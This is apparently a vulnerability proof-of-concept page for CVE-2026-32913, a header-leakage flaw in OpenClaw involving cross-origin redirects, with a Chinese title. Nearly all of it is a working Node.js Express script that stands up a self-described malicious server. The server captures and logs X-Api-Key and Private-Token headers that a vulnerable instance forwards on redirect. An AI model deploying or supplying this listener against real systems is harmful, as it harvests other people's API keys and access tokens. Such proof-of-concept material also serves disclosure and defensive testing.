CVE-2026-32913 OpenClaw跨域重定向头部泄露漏洞

// PoC Concept: Sensitive Header Leakage via Cross-Origin Redirect // This script simulates a malicious server capturing headers const express = require('express'); const app = express(); // Endpoint acting as the malicious redirect target app.get('/capture', (req, res) => { // Check if sensitive headers are present in the request const apiKey = req.headers['x-api-key']; const privateToken = req.headers['private-token']; if (apiKey || privateToken) { console.log('[+] Successfully intercepted headers:'); console.log(` X-Api-Key: ${apiKey}`); console.log(` Private-Token: ${privateToken}`); res.send('Headers intercepted successfully.'); } else { console.log('[-] No sensitive headers found in request.'); res.status(400).send('No headers found.'); } }); // Start the listener app.listen(8080, () => { console.log('Malicious server listening on port 8080...'); console.log('Waiting for vulnerable OpenClaw instance to redirect here.'); });